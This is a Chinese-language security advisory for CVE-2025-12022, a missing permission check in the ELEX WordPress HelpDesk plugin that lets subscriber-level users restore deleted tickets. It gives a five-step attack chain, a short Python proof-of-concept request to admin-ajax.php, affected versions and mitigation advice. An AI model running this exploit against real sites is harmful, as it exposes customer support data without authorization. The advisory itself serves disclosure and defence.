CVE-2025-12022 CVSS 4.3 中危

CVE-2025-12022 ELEX WordPress HelpDesk 插件权限绕过漏洞

披露日期: 2025-11-21

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-12022

漏洞类型

权限绕过

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

ELEX WordPress HelpDesk & Customer Ticketing System

漏洞概述

CVE-2025-12022 是 WordPress 插件 ELEX WordPress HelpDesk & Customer Ticketing System 中存在的一个权限绕过漏洞。该漏洞源于 'eh_crm_settings_restore_trash' AJAX 端点缺少权限检查，导致任何已认证用户（包括最低权限的订阅者）都可以通过该端点恢复所有已删除的工单。攻击者利用此漏洞可以在未经授权的情况下恢复已删除的票据，可能导致敏感客户支持信息的泄露或工单管理流程的混乱。由于该漏洞影响所有版本至 3.3.1，众多使用该插件的 WordPress 网站都面临风险。建议用户尽快升级到最新版本以修复此安全问题。

技术细节

该漏洞属于不安全的直接对象引用（IDOR）类型，问题出在插件的 AJAX 处理函数中。具体来说，'eh_crm_settings_restore_trash' 端点没有正确验证调用者是否具有执行恢复操作的权限。在 WordPress 中，AJAX 端点通常需要使用 current_user_can() 或类似函数来验证用户权限，但该插件遗漏了此检查。攻击者只需要发送一个带有有效认证 cookie 的 AJAX 请求到 wp-admin/admin-ajax.php 端点，并携带相应的 action 参数和票据 ID，即可触发恢复操作。由于 WordPress 的订阅者角色用户默认即可访问此端点，攻击门槛极低。成功利用后，所有被标记为已删除的工单都将被恢复到活动状态，可能导致数据不一致或敏感信息泄露。

攻击链分析

STEP 1

步骤1

攻击者获取 WordPress 网站的有效用户凭据（订阅者级别或更高权限）

STEP 2

步骤2

攻击者构造恶意 AJAX 请求，指定 action 参数为 'eh_crm_settings_restore_trash'

STEP 3

步骤3

发送 POST 请求到 /wp-admin/admin-ajax.php 端点，利用缺少权限检查的漏洞

STEP 4

步骤4

服务器端验证用户已登录但未检查恢复工单的权限，直接执行恢复操作

STEP 5

步骤5

所有已删除的工单被恢复到活动状态，攻击者获得未授权的数据访问

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# CVE-2025-12022 PoC
# ELEX WordPress HelpDesk - Unauthorized ticket restoration

target_url = "http://target-wordpress-site.com"

# Authenticated user with subscriber-level access
cookies = {
    "wordpress_test_cookie": "WP+Cookie+check",
    "wordpress_logged_in_[hash]": "user_token"
}

# Payload to restore all deleted tickets via missing capability check
data = {
    "action": "eh_crm_settings_restore_trash",
    "ticket_id": "all"  # or specific ticket ID
}

response = requests.post(
    f"{target_url}/wp-admin/admin-ajax.php",
    cookies=cookies,
    data=data
)

print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")

# Note: Requires valid WordPress authentication (subscriber role or higher)

影响范围

ELEX WordPress HelpDesk & Customer Ticketing System < 3.3.2

防御指南

临时缓解措施

如果无法立即升级插件，可通过在主题的 functions.php 中添加临时过滤器禁用该 AJAX 端点，或使用 WordPress 防火墙插件限制低权限用户对敏感端点的访问。同时监控管理员日志以检测异常恢复操作。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表